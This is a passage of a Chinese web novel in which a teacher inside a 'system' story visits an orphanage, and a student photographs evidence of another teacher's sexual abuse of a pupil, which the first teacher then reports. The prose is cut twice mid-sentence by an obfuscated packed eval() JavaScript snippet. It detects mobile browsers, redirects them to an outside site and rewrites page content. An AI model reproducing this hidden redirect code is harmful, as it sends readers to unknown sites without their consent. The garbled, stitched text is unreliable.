“你埋汰我,真没大没小!”陆乔不轻不重推了她一下,紧接着感到消沉,“但我感觉,隗老师可能没那方面的意思。我昨天旁敲侧击过,他说他觉得自己现在不适合结婚。” 濮怀玉一惊:“哇,你昨天就出手了。” “你干嘛这个表情。我又不是事事都得跟你汇报。”陆乔又恼起来,想弹濮怀玉的额头小施惩戒。结果她一躲,没弹着。 “我没让你事事都跟我汇报,陆小姐。你才是‘大姐姐’。” 见陆乔又要伸手,濮怀玉捉住她,正色些许:“隗老师这样说,要么是他真这么想,要么是他暂时对你没有感情。要是后者,以后隗老师常来,机会多多:前者的话,封心锁爱,有点难办。” 陆乔抽出自己的手,嘟囔:“我又不是非他不可。虽然吧,他确实长得跟天仙一样。跟帅哥谈恋爱,生气都很难……” 她渐渐靠在濮怀玉肩膀上。不管怎么样,还是“小姐姐”更重要,随愿孤儿院的大家更重要。 “我要是跟帅哥恋爱,还是会生气的。”濮怀玉的手绕过陆乔肩膀,轻轻揽住她,“不仅会生气,真做错事把我逼急了,我还能打人呢。” 陆乔乐了:“那我还得去警察局捞你。” “到时候肯定是他错更多。”少女看着电视屏幕上的春晚,远处院长、魏老师和隗祯一桌唠着嗑。隗祯似有所感,看了她一眼,笑笑。 哼,真没品。 濮怀玉移开视线。 「友好值-1」 「当前友好值:74。」 隗祯差点被茶水呛到,呛完还要对桌上的其他人打招呼说“没事”。 不是,这是为什么?他什么都没有做。 「叮,任务对象的心你别猜。」 「……」 19. 019 原先的餐桌上,魏老师喝了口茶,打开了话匣子,聊起自己失败的婚姻。 院长欲言又止,毕竟隗祯还在,打着哈哈给魏老师续上一杯让她喝,但魏老师既不想喝茶、也确实不介意被听,她便也放松下来。 也是在饭桌上,隗祯了解到魏老师有个不合的小儿子,正在读小学五年级的年纪,父母离婚后想跟着做甩手掌柜习惯了的爸,而不是身兼家庭内外的她。她很喜欢孩子,却在亲生儿子面前碰了一鼻子灰,讨不着半点好。 虽然是小说世界,作者也很年轻,但是没有一个人不让隗祯感受到真实——脚踏实地。 “这话其实不该跟隗老师说。”魏老师抹了一把脸,沾染上的湿意究竟是因为方才触碰杯沿抹平的茶滴,还是她真的郁郁地落泪,一时间分不清楚,“隗老师自己也是‘儿子’啊。” 隗祯:“您尽管说就是,我只会觉得魏老师的孩子很幸运,有个念着他的好妈妈。可惜的是,还没到真的懂事的年纪。” 他想起他身处另外一个世界的亲生母亲,梁淑荷梁女士。她的出身本来摸不到隗家的门槛,他的父亲为了和梁女士结婚,放弃了难以想象的地位和财富,似乎她的人生完美到只能听得“有福气”“好命”之类的好话。 但也只有隗祯知道,梁女士一步步走来并非顺遂至此。父亲的放弃,不能抚平她人生中所有的皱褶,消解所有苦闷。 作为不得已的独子,隗祯能做得很有限,不过他一直尽力去做。 “旁人也许会跟您说,儿子嘛,不明白也是情理之中,等他以后长大,知道母亲为家庭的付出,您再给一点经济上的支持,他心里的天平自然会偏回来。” 隗祯知道这番说辞魏老师也爱听,慈母之心莫过于此,但他笑了笑,话锋一转,“可您过程中耗费的心力,流过的眼泪收不回来。我们都是做老师的人,但我的工作量可不能跟您的比。说点不好听的话,能活到什么时候都不知道。” “人总要为自己的决定买单,不论是什么年纪。小学五年级,就算世界观尚不成熟,理性层面考虑不周,感性上应当也有自己的判断,什么才是真正的爱。” 他道,“魏老师,邀请您来吃饭调节心情的濮怀玉同学,自己拿主意的年龄恐怕要更早,活生生的例子就在面前。院长,您说呢?” “那倒是。”院长在座椅旁边比了个矮矮小小的高度,“隗老师,你是不知道,小玉抽条得迟,当初站在人群里得凹下去一截,就能摆出大人脸,考虑大人的事了。” 隗祯在脑海里想象了一下不苟言笑的萝卜头濮怀玉,不自主微笑。 系统也在这时突然间开口,机械音中竟有几分慈爱的深情:「这跟自己生的有什么区别。」 「……我生不出来。」 「没说你。」系统语气转瞬间变的不客气,「我要是能生的话,我就生了。」 「……」这话真的怪怪的。 院长紧接着不忘补充:“但小玉情况特殊,你只能当作参考。隗老师的话也不错,是让你多考虑考虑自己。我当时没看见,小玉可是全都看见了,说‘魏老师差点倒了’。” “魏老师,你也不是没人领情的孤家寡人。要不是孩子们都去睡了,你随便捞一个过来看看他们怎么想你。” 隗祯不再多话,他其实并不喜欢插手别人的人生,这就像无条件给来敲门的每位求职者发offer一样,他又不是慈善家,肯定会优中选优,再给出相配的待遇。真正改变中选者人生的,只会是他们自己出众的能力,隗祯没有自恋到做员工上帝的纳西索斯情结。 只是,目光触及少女灯光下莹润的侧脸,他生出“多来一桩也无妨”的心理。 他本就要来插手濮怀玉的人生,如要对她的人生伸出手,又得展示作为教师的能力——他是合格的老师,可以进行正向的引导,他的话语值得被聆听。 然后目光交错间,濮怀玉跟陆乔聊着天,突然给他扣了一格友好值。 ……啊?隗祯一时间呛得不行,扶着桌角捂住下半张脸,仍有红意自扣紧的手指下方水流一般渗出,他再抬起头,对满脸关切的魏老师和院长强颜欢笑说“我没事”。 但也只是一格。濮怀玉第二天待他的态度没有变化,成熟的处世态度和不分长幼的温柔并不妨碍她养成难以捉摸的少女心性。她有独自消化情绪的能力,哪怕被隗祯用特殊手段窥见一线,不过除此之外,总有反复无常的时候。 刚开始或许会久久地不满、郁闷,现在的隗祯莫名想为濮怀玉的变化长舒一口气。她还是个正值青春期的孩子,情绪化应当是常态。 系统:「你前不久可不是这么说的。」 「那只是我在短期内的推断而已,里面确实有偏见,但我好歹是个人生经历正常的成年人,知道什么该说,什么不该说。我不会无耻地人身攻击一个未成年的孩子。」 他只会像一点见不得光的苦涩阴影,带着被中断的生命体验覆在自然形成的树影上,嚼出青春期的阳光有多刺眼。 而系统在内存里仔细翻找,也确实没有找到危害未成年的迹象,不免为电击机制继续落灰感到遗憾:「那倒确实没有。」 就这样,隗祯坐在书桌前,整理前几天收上来的测试结果,把谈话记录下来。 这个需要多关注同辈交往,那个更希望有更多的独立空间……每个孩子的需求都不同。 也不知道小慧真正的心意,濮怀玉明白了没有。远在天边的偶像因为虚无缥缈反倒更稳定,近在咫尺的榜样则容易被附加更多的个人情绪。但无论如何,一切起于迷茫和憧憬,剔去杂质都会好起来。 隗祯对自己似真似幻的教师事业怀揣乐观的心理。他想,只要他的精力能够长久胜任这一职业,一直做下去也不是件坏事。 “笃笃”。 “门没有锁。” 隗祯取下眼镜,濮怀玉随即出现在了张开的门缝里,像是被一张格外吝啬的嘴衔着,而她身上鲜红色的羽绒服则是喉舌。 她知道外面风大,表现出现实主义的吝啬,只让这扇迫不及待在吱呀声中被冷风打到底的旧木门敞开一个小小角度。 “我不用进去。”濮怀玉在门口说,“隗老师,你出来。” “马上。”隗祯随即起身,穿上外套。除开来时所穿的长风衣,他就只带了这一件稍显厚重的棉衣,再将驼色的围巾草草绕上一圈又一圈。 濮怀玉也并非空着手来,她掏出一叠暖宝宝,向前一步放到他桌上,再后退到原处说:“隗老师,你的手背冻红了。” “红了吗?我没注意。” 他边忙边开玩笑:“你这件新衣服挺别致的,颜色很喜庆。” “妈妈送给我的新衣服。”濮怀玉说,“反正我穿什么都好看。” 青春期的孩子有自己的性格和偏好,隗祯不点评。 “我马上就好。” 只是手忙脚乱中,他先拿右手背捂住唇,匆匆哈出一口热气,再然后是左手背。一点掩耳盗铃的小动作而已,掌指关节依旧点缀淡淡的红意,像在上面一一把花瓣揉开来。 濮怀玉双手插进口袋:“……慢一点也没事。” 「友好值+1」 「当前友好值:75。」 来不及询问缘由,隗祯拿上钥匙示意一声“我差不多可以了”,就这样在濮怀玉身后把门带上。 “我就是想问问你,马上就要回去吗?”濮怀玉抬着头,微表情显现出真挚。 隗祯:“怎么了?最近有什么事吗。”他几乎要回到房间,将自己事前准备好的笔记本和文件夹拿出来,“汇总马上就要结束了,再加上一个晚上,我就可以把档案交到院长手上。” 隗祯以为濮怀玉问的是这个,但他似乎总是要慢于她的节奏: 当他以为濮怀玉为的是自己伪造的身世感到内疚,濮怀玉存了别的心思,狡猾地实现了拉他做免费心理顾问的目标;而当他觉得濮怀玉是来巡视进度,甚至催他交出答案,濮怀玉又不是为了这个。 现在她不正面回答“好”或“不好”,而是说起看似毫不相干的琐碎小事:“隗老师,除了年三十和大年初一两个晚上,后厨不会再做这么丰盛的菜了,甚至后面几天的伙食会比平时差一点。我们大人要吃饭,都是自己对付一下。” “我们大人”?隗祯禁不住扬起唇角,但他很快意识到这不太礼貌——她担当的本就是大人理应充当的角色,需要同等的尊重。 她说:“但是隗老师,我们这里很热闹。你要是饿了想吃点什么,找我或者食堂的阿姨和叔叔都行,也不至于没有东西吃。”找院长都可以,就是别找陆乔,她还在戒断反应中。 到这里,隗祯再不反应过来,那他真是白看了这么多的青少年心理专业书。 濮怀玉是怕他冷清,拐弯抹角说服。 隗祯耐心解释:“我在这里多留几天,也是一笔不小的支出。” 濮怀玉闻言,脱口而出:“那你真的是太看得起自己——抱歉,隗老师。我不该这么说。” 道完歉,她为自己突然失掉的分寸感面露懊恼。 “……妈妈也说,隗老师可以多跟我们聚一聚。” 眼眸下垂又上扬,濮怀玉眼底的懊恼变成难以理解的迷惑。 分明是她在索取免费的心理咨询,他为什么要感到内疚呢?毕业刚工作不久的老师,经济状况不太好,应该为能蹭上一点暗暗高兴才对。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504226|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「宿主,适可而止,别忘记你的设定。」 隗祯的眼神刹那间变的清明,紧接着微笑起来,只是眉眼间仍弥开点点不得不欺骗的苦色:“那我就多待几天吧。不过你说错了,只要有食材、调料和厨具,我可以自己解决,不用麻烦你们。” 映在濮怀玉眼里,他确实也有自己的骄傲。迅速想了想,濮怀玉点一下头,留下一句“暖宝宝用完还有”就离开了,点到即止。 隗祯目送她离开。 ……她真的,只是为了说这件事。 联系系统给予的家世背景,似乎不能用“只”轻率地形容。后天造就的孤独使得有责任心的亲历者想要团结孱弱的个体,再真诚不过。 漫浸在寒风中,隗祯的双手就像是被冻僵的干花,花瓣干涩得卷起,而他的手也维持着半握不握的状态。 他的设定,在他们身上是真实的。 他无地自容。 …… 离开随愿孤儿院的那天,院长给了隗祯一个小小的包裹,这让他受宠若惊。 “李院长,我来这里不是为了……” “我知道。”院长笑着悠悠打断,“孩子,收下吧。” 坐在回家的公交车上,骤然的急刹车让隗祯下意识握紧。万幸,一车的人都很平安,而他也在这一插曲中摸出里面放了暖宝宝。 是担心他被冻死吗?下了车,隗祯在站台旁默默失笑。 不过,隋城的冬天,真的有点冷啊。 …… 开学后,整个年级的气氛陡然一变。班长踩着凳子在黑板右上角圈出一块,开始给高考倒计时;各科老师草草看过同学批改的痕迹,挑几道题说了说,就匆匆翻开新的一页。 简而言之,就是不再温吞地撕开新学期的包装纸,而是紧锣密鼓,迅速投入正题。 试卷和习题册不断后翻的纸张就像是一片又一片浪潮,看似试图将人冲上岸,但冰冷的水浸过身,让人抓不住岸。 高强度的小考拆解成一道道具体的、拿来自我检验的题目,勉强可以当做平常的小零食闭着眼咽下;然而渐渐倒退的数字、即将迎来的百日誓师还有接下来的联考等模拟考试,实在是太像预兆——预兆着不远处一点点逼近的庞然大物。 秦紫怡实在受不了急促的节奏,预约了心理咨询。 登记完回来,她憋出一个勉强的笑说:“小玉,我也是因为你体验了一把关系户。” “隗老师让你插队了?”濮怀玉抬头。 “那倒没有,万一被插队的同学比我更急,排解得不及时就要寻短见,我的罪过也太大了。” 秦紫怡知道这不是个轻松的话题,只会让一切更糟糕,赶紧揭过这页,“隗老师只是跟我说,最近预约心理咨询的同学很多,连何老师都有些疲于应对,我来得还算巧。” 濮怀玉想到一处去,但既然秦紫怡没有碍着旁人,她也装作理直气壮一点,说:“不巧也得巧。” 秦紫怡立马作西子捧心状,脸上有了些许轻松之色:“你好让我心动哦。” 和秦紫怡相比,濮怀玉就轻松很多。尤其是这两个星期,运动会即将举办,她实在不觉得哪里需要紧张。 尽管如此,她不会告诉秦紫怡这份心情,用自己的轻盈刺激她。 这学期的运动会,濮怀玉只报了长跑,标枪和接力跑一时间成了班上的热门项目,里面肯定有上学期拿奖的因素。 魏老师向来不搞择优那套,谁喜欢谁报名,报不满她才有可能稍稍介入,不管对方是谁,拿到名次的概率大不大。所以濮怀玉在一中读了三年不到,第一次这么清闲,对她来说算是好事吧。 魏老师最近也有好事发生。据她透露的消息,这次新年,魏老师理都没理前夫那里,跟儿子连句祝福都没有,更不用说压岁钱,结果眼下儿子巴儿巴儿地跑过来给她打电话、发消息要见面,可热切了。不管是不是前夫为了利益撺掇,她都乐在其中。 于是,魏老师得到了突然懂得母亲艰辛的好儿子,班上的女生得到了富有挑战性的有趣项目,濮怀玉自己也有了“新收获”——负责照相的同学突然得了感冒,运动会当天实在来不了学校,只能将大疆托付给她。 同学原话如下——“拍照的任务就交给你了。……周末?周末也放在你那里吧,你要是想玩,别玩坏了就行。” 大疆带来的视觉诈骗是无与伦比的,连濮怀玉这个彻头彻尾的摄影门外汉都有点沉迷其中。不但运动会期间拍了不少好照片,周末留校也小心地随身携带,俨然是要当做珍贵的布娃娃晚上一起睡觉的程度。 只是,濮怀玉溜出学校觅食意外拍下的瞬间,玷污了布娃娃纯真的本意,破坏了所有的顺遂。 20. 020 bad 偶尔濮怀玉会像这样,终于攒下一小笔钱出门,在一家物美价廉的小店落座,收起校服外套放到一旁后询问服务员“用现金可以吗”。 “当然可以。” 濮怀玉小幅度点头,“那我自己看看。” 少女无需视物的时候会仰起脸专注看人,漆黑的眼珠有种说不出的动物性的专情感,仿佛不谙世事。虽然,她只是很会在女性长辈面前装乖而已。 但架不住她人吃这一套。眼前的女服务员没有立即离开,这个时间点人很少,她索性弯下腰,手掌覆在手账本一样的菜谱上,向她推荐起来。 最终,濮怀玉选择了一杯热巧克力,以及一份奶油蘑菇意面。她轻声说“谢谢”,将菜单递还给服务员,撑着下颚聆听。 这里离一中已然有一段距离,接近隋城大学。聚餐的女大学生就坐在她身后,就连抱怨老师和学业的话语都成了某种濮怀玉无法触碰的情调,让她觉得颇为有趣,能在礼貌的感谢声中把最先端上桌的巧克力泡沫一口咬出下陷的痕迹。 “你刚才眨眼了!坚持一下好不好,我要用eat转场发在抖音上的——” “眼睛干的话,要不要用我的眼药水?” “这次说好,不许眨眼啊,再眨眼我真的要扁你了。” 习惯迄今为止的生活是一回事,经过时会多看一眼他人无所事事享受青春的喧闹则是另一回事。 濮怀玉不会嫉妒,羡慕可能会有一点点,但所有情绪凝合而成的不过“一眼”而已。 意面端上桌,她小心地摘去大疆的保护套,然后对准自己。 拍得再好看,也没有地方放。濮怀玉想,正好她拍得一点都不好,转眼都得删除干净,不就没有这层烦恼。 热巧克力n张,意面n张,热巧克力和意面的好朋友合照n张,在嘴唇前比出剪刀手、用“剪刀”两端按住唇角上扬n张,店内陈设n张。 查看相片的时候,濮怀玉想起卫殊调侃她的话,“大疆这么容易出片你都能拍成这样”,技术确实很差了。 重新戴上保护套,濮怀玉开始大口大口吃饭。期间热巧克力喝完,女服务员给她续柠檬水,笑着告诉她“小姐姐,你知不知道你的吃相特别容易引起别人的食欲”。 “对了,大众点评打卡是可以免费赠送一份布丁的。” 濮怀玉:“我没有手机。”她补充了一句,“我是高中生,没有自己的智能手机。” 她次次都会错过店内的各种福利,已经习惯拒绝。 身后的餐桌发出声音。 “姐姐——我们已经吃饱了,我的这份就给那边的小同学吧!” 濮怀玉转身,留着长卷发的女大学生对她笑了笑。等濮怀玉转过身,她们说起什么“宴请小时候的自己”。 总之,濮怀玉又有免费的布丁吃了。 她拍了下来,觉得这真是个美好的下午。 本应如此。吃完出门,濮怀玉兜里剩下的钱只够坐一趟公交,她沿着街边慢慢走。法国梧桐的落叶托住西沉的余晖,被风吹动时牵动金色的丝线,行人就这样穿梭在灿金色的傍晚中。 无论什么时候,哪怕是工作日,都有人可以清闲地坐在咖啡馆。所以濮怀玉会有点羡慕他们拥有更多不需要紧绷的时间,却不会羡慕到情绪紊乱、不能自已,因为她会在未来为自己挣来。 何况旁人辛苦的时候她看不见,如果幸福非要在比较中实现,濮怀玉觉得自己被亲生父母抛弃的那一刻就能坠入无间地狱,而且在地狱入住的恐怕也得是烂尾房。如此想着,濮怀玉很难因为外在因素心理不平衡。 镜头得拿平衡了。就这样博览人间风光,拍出的照片美丽得近乎有些失真了。濮怀玉掌握着这点制造虚幻之美的权力,短暂地迷失在作画者的笔触里。 镜头仍在移动,此时入镜了一对从商店出来的情侣。本来没有什么,但在濮怀玉看清男人和女人各自的脸后,她的镜头停止了。 那甚至不是个“女人”。她是在隋城一中理科3班读书的同学,而她的“对象”是3班的英语老师,叫江鸿杰。 这位江老师有一副气质儒雅、但稍一细看就泯然众矣的皮囊,因为幽默感和平易近人很受学生欢迎,平常经常去班主任办公室串门,濮怀玉就跟他说过话。 女同学的名字,濮怀玉并不清楚,但她确信这张脸在早操前队形混乱的操场上频频出现过,就像其他任何一个同学那样;濮怀玉自己就对这张脸说过“借过”,从而穿过臃肿的队伍,走进洗手间清洗染上劣质笔油的手。 她们的交情不过尔尔,濮怀玉一时间回忆不起来更多。 应该说,隋城一中的校园里面,大部分女生都有自己的朋友和固定搭子,和其他人则交情浅薄,见面连招呼都不会打。 然而,就在这一瞬间,濮怀玉起了一身的鸡皮疙瘩,头皮更是麻痹到像是有谁凭空准备用一剂药放倒她。 本能地,濮怀玉的镜头追随他们,机械地拍下一张又一张。她的手出了很多汗,说不出是冷还是热。 江鸿杰结婚了吗?不,这不重要。 重要的只有他跟女同学的亲密举动。几乎都是他搂着穿便装的女同学,然后突然抬头,顺手给同学戴上兜帽。 他在马路对面,濮怀玉就近躲到停靠的汽车身后。她的反应很快,江鸿杰没有看到她,但莫名作响的警钟无疑催促他赶紧带人离开现场,很快离开视线范围。 而濮怀玉蹲在汽车后面,喘着粗气,汗意从双手转移到后背上。她哆哆嗦嗦给大疆套上保护套,现在她是证人,它是比证人还要有力的证物。 “你怎么了?身体不舒服?”走近的路人关切道。 濮怀玉抬头:“没有。” 她扮演乖孩子再简单不过,只要露脸就能给人以镇定、可靠的印象。随后濮怀玉在路人的视线中起身,若无其事原路折返,背对着离开的师生二人,到最后小跑起来。 深夜里,濮怀玉抱着“布娃娃”,在心脏不安的跳动声中眼皮打架。 她本来要在寒湿的蜷缩里睡去,却突兀想起高一所选电影社开办的电影鉴赏课上,部分西方电影里布娃娃那令人作呕的隐喻,差点松开手。 最终,濮怀玉选择将其放在书桌上。或许是承载的瞬间太肮脏,夜晚睡得还是很不好。 明天,就是星期一。濮怀玉多思到乃至于身处梦境时,都在思考如何能让同学把大疆多借她一会儿。 证据是一定要保存下来的。 次日,濮怀玉在清晨的铃声中浑浑噩噩起床,满脑都是昏沉的雾气。没精打采地洗漱后,她就这样慢吞吞走去食堂吃早饭,吃完回到宿舍,再磨磨蹭蹭直到不得不去教室早读。 虽然很不好,但早读课下都没见到那位同学的身影,她稍稍松了口气——如何在不把这件事告诉第二个同学的情况下多留一天证据,对于从来冷静处事的濮怀玉来说有点难度。 因为,里面存储着一个女生的未来。 濮怀玉昨晚回到宿舍,连回看相片都需要勇气。她并不害怕江鸿杰那张状似慈爱、实则散发中老年人腐臭气息的脸,她畏惧注视女同学被摧毁的细节。 因为无法确定另一个女生未来的人生会走向毫不犹豫被救赎以及自我救赎,濮怀玉害怕了。 “小玉?我的亲亲老公?……濮怀玉?” 秦紫怡趁乱掐了一把濮怀玉的脸,往日她可没有这么呆萌,然后装作被吓到,“怎么啦,昨晚梦到鬼了?你的熊猫眼好明显。” 濮怀玉抿唇:“……” “我不能说。” “那就别告诉我。你知道的,我的嘴巴特别大。”秦紫怡嘻嘻一笑,两只手各自掌握濮怀玉平直的唇角两端,往上提拉,“嘿嘿,你来当我的玩具,我就什么都不问。” “……好。” 课间出操,濮怀玉想跟魏老师请假。这件事除了跟年长的女老师说,她想不出更恰切的人选。 但办公室门口,她还未探出身,就听到老师谈论的声音。 率先开口抱怨的,是3班的班主任。 “现在的孩子啊,我真想不明白。我们那个年代要是有这么安定的环境,211妥妥的。真不知道我们班的同学在想什么,尤其是有几个女生,周练考得一塌糊涂,脑袋里想的肯定不是学习。” 随后是魏老师打圆场:“这么多考试,难免有那么一两次失手。都是十七十八的岁数了,你少说两句,等抓了现行再对症下药又不迟。” 紧接着,一道男声带着笑意:“估计背地里有了喜欢的小男生,心思全都放在怎么谈恋爱上面了。我当年压力大,就是这么过来的。” 3班班主任的声音染上揶揄意味,甚至还夹着几分忸怩和娇羞来:“江老师,你说我们那个年代多纯真啊,现在的女孩子可不一样,要这个要那个的,可比不了……” 魏老师讪讪赔笑。 3班的班主任比她年纪大不了几岁,跟她忙到晚婚晚育不同,生孩子生得特别早,如今儿子都念高一了。虽然生的都是男孩,年代也差不太远,但观念有差异,实在聊不到一起去。 此时有前夫的消息解围,说儿子马上就要过生日了,想她这个亲妈想得紧。魏老师一看,顿时心花怒放,准备趁着大课间打通电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509796|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,好好说道说道此事,借口出了门脱身。 眼见濮怀玉站在门口,她拨开门的同时匆匆询问:“濮怀玉,你有事要说吗?” “……我就想问问孙茉。” “哦,她身体还有点不舒服,明天才能来。你就再替她保管一天器材吧。” 言罢,魏老师准备下楼。 “魏老师!” 她回头:“怎么了?”此时因为着急,魏老师话尾有个急促的上昂,乍听来者不善,“要是没事,赶紧下楼整队。不要仗着我能在关键时候撑腰,平常就没有一点规矩了。” 这几乎是大人的通病,无论是极度快乐还是极端受挫,都跟晚辈没有关系。濮怀玉偶然宽慰了低谷期的魏老师,但这并不妨碍她此刻勒令濮怀玉无论如何尽快像一个普通学生那样赶往操场,而不是继续杵在这里。 濮怀玉很清楚,她只能无奈地立刻转移对象。 “……魏老师,我想请假。大课间我就不去做操了。” “你身体不舒服吗?”魏老师眼神一变,语气一下子柔和很多,“黑眼圈好重啊,不要给自己那么大的压力,老师一直都很相信你。” 濮怀玉点头,得到口头上的准信后便转身离开。 她准备先回教室拿证物,然后走另一处楼梯,愈快愈好。 结果,那位人不可貌相的英语老师,就这样笑眯眯地迎面而来。显然听到了刚才的对话,他和蔼道:“同学,身体是革命的本钱,只有休息好才能学习好。” 如此让人作呕。 “谢谢老师的关心。”濮怀玉面色镇定到甚至有点不敬老师的程度,“我很明白。” 至少在江鸿杰眼里,她没有这个年龄的大多数少女身上会有的温顺与游离,甚至硬邦邦的。不过江鸿杰觉得这个名字很耳熟,下了楼在手机上翻了翻。 哦,成绩很好,上学期刚与男同学有过肢体冲突,还打赢了。 不像女孩子。 ——不像个能让他心仪的女孩子。 而濮怀玉带着证物,避开人群迅速跑下了楼,在出操的音乐中绕过扎堆的学生,直冲冲跑向另一栋楼。 她要找何老师,这位年长的女老师应当值得信任。如果没有何老师,那濮怀玉也只能就近再变一回,退而求其次。 “门没有锁,请进。” 此时,办公室里只有隗祯,看见她微微笑着。 濮怀玉停留了一个瞬间,然后走上前去。 眼前的年轻老师不知道同一个学校和自己一个性别的老师里出了败类,笑得一无所知:“要预约心理咨询吗?你应该从秦紫怡同学那边了解过情况,不过时间表挤挤的话,也有空闲——” “隗老师,我想紧急跟您反映一件事。不管您接下来有没有急事,请您听我说。” 察觉到濮怀玉措辞的重量,隗祯立刻收敛笑意彰显态度:“你说。” “说之前,我想给您看几张照片。” 濮怀玉低头调试好,将大疆递给他。 在隗祯浏览的过程中,除了出操的声音,周围安静得可怕。 “把这些照片给男老师看,也许是对这位女同学的二次伤害。”濮怀玉冷静道,“但我明天就要归还设备,我必须先将照片给一位信得过的老师看过。” 在她信得过的老师排行榜上,隗祯并不排在前列,甚至因为性别被濮怀玉调低了很多很多位。 但这件事,必须处理得及时。 “如果这件事被以一种对受害者产生毁灭式打击的方式散播开来,我会第一时间向学校和教育部举报您,然后当众告诉一中的师生是我识人不清,向这位同学道歉。”濮怀玉说出自己的决心,语气异常平和。她已经做好准备了。 隗祯没有回应她的话,片刻后转言:“我先把这些照片导出来吧,不能继续留在其他人的设备上。你接下来准备怎么做?” “我不知道该怎么做。”濮怀玉平静道,“无论揭露还是不揭露,她都在受伤害。我作为旁观者的任何一个举动,都可能置她于死地。” 即便是受害者,舆论会糟糕到什么程度,濮怀玉已经预见。就连状似在“吃瓜”的人,哪怕他们吃完用怜悯的、觉得女孩很不幸的话语评价一二,都可能在女同学心上凿出血洞。 何其矛盾。何其悲哀。 但装作看不见,一定更悲哀。 眼下,隗祯很快完成证据的转移,整个过程充满跟身份丝毫不符合的熟稔。但无论是怀疑值,甚至是此刻的隗祯自己都无暇顾及。 “我来吧。”他叹息,“濮怀玉,你先回教室吧。这件事,有我来处理。” 21. 021 次日,濮怀玉将大疆还给了孙茉。 归还时,她靠在教室外侧泛着湿意的瓷砖上,比濮怀玉更短的发隐隐昭示个性下垂,被提醒“瓷砖刚擦过”悻悻直起腰背,仍在低头查看。 这很正常,濮怀玉自知是门外汉,孙茉也说过她这个大疆比较脆弱,检查清楚才能厘清边界线。但秦紫怡趴在窗户另一边,隔着声音和光线不够真切,表现出不乐意。 “她这是在看不起小玉吗,这么拽!”要不是卫殊拉着她,秦紫怡热血上头,不知道扒开窗户会朝外喊什么。 室内嘈杂,卫殊艰难地扯住她,周围已经有同学注意到这边。 卫殊:“你觉得小玉会吃亏吗,小玉也很拽!濮怀玉能更拽!” 听到这句话,秦紫怡忽然间不再试图跟窗户过意不去。 好像是哦,秦紫怡心里想,濮怀玉与人周旋的经验可比她丰富多了。她被人欺负,濮怀玉拔刀冲上去好像更符合剧本。 可也不能欺负好人啊。秦紫怡又来了劲,却看见孙茉笑着说了两句,濮怀玉微微愣神,嘴角朝上扬了扬。 “都没有给你自己拍一张照片吗?”孙茉脸上笑着,拖长遗憾的尾音,“怎么这样——我刚刚还想偷窥你的周末生活呢。结果这么能忍,我的顶级阳谋真是失策了。” 她又下意识想要靠上去,本想亲近一点,紧接着从濮怀玉眼中觉出不妙的意味——她好像心事重重,于是腰部硬生生回弓:“濮怀玉,我说真的,你应该拍点好照片,导进手机很容易的。你都不想玩一玩它吗?” “我没有智能手机。……恐怕不行。” 濮怀玉原先在走神,对着长廊外跌跌撞撞飞行的鸟,视线像它脚下踩过的一片云那样飘忽、稍微扑棱两下就散开。 孙茉只好摊手:“那就等毕业的时候吧,那时候你肯定有钱买人生第一个智能手机。” 她知道濮怀玉的身世,应该说1班绝大多数同学都早早从校报、公众号以及“励志之星”的名号认识了她。 原本想借助这次机会跟她关系好一点,也许是时机不太好,孙茉也不强求,祝福道: “因为你会考的一如既往的好,我们学校会奖励高考考得很好的同学。而且到时候,智能手机就不是玩具,是上大学的必需品了,你不仅能拿到那笔钱,还会毫不犹豫买下。” 孙茉分析得条理清晰,钻进濮怀玉的耳朵,她的目光从外边似乎受伤的鸟儿转移到眼前之人的身上,那股洋溢的神采上面。 一缕未过滤的阳光刺激得濮怀玉灰黑的眼睑隐隐胀痛。她恍然间点头:“你说得挺对。” “所以,毕业再拍点好看的照片吧?到时候我们也可以有几张合照,虽然我们只是同学。” 孙茉拍了一下她的肩膀,经过她时不忘回眸,挤出一个有些费劲的wink。 卫殊站在教室门口:“她人还怪好的。” “我有危机感了。”秦紫怡再不能看出两个人是在友好往来就是傻子,双手搭在卫殊肩膀上作凝望状,“果然家花不如野花香……” 濮怀玉有些疲乏,但还是应了一句“你们都很好,别说这种恶俗的话”,然后走到座位上缓缓趴下。 卫殊何止觉得有一点奇怪,濮怀玉在她眼里一直都是外星生物,体质赛过超级大猩猩,现在竟然累了。 “她怎么了?”卫殊理所当然觉得秦紫怡应该知道更多。 秦紫怡不知道,但她也不准备问,毕竟濮怀玉先前说了那样的话,追问不好,因此打着哈哈抖机灵道“还有什么比一个绝世好老公更值得信任”,被卫殊冷不丁戳了一下额头。 “拜托,当然有。那就是我们自己。” 看样子是另有隐情,还不能说。卫殊也默契地不再询问,跟秦紫怡你一下我一下,打闹起来。间隙看向濮怀玉的桌子,只能一睹后脑勺,像个悲伤的旋涡。 而当天下午的活动课,濮怀玉从魏老师口中得知了一件事:就在今天早晨,隗祯实名举报江鸿杰性|侵害学生。 也就休息了一个晚上,毕竟在证据齐全的情况下,他要做的不过是递交证据,亮出另一个老师刻在职业信条里的愤怒与正义。 但濮怀玉知道,即便有证据,同样会很艰难,因为正义总是被各种顾虑裹挟。 不过,她还是忍不住想,他难道没有一点犹豫吗? 犹豫于前途,犹豫于跟本无仇怨的江鸿杰产生冲突。 或许这就是男人的钝感力,濮怀玉在心里开了个玩笑,却因为进退两难的窘境,一时间不知道自己该笑还是不该笑。 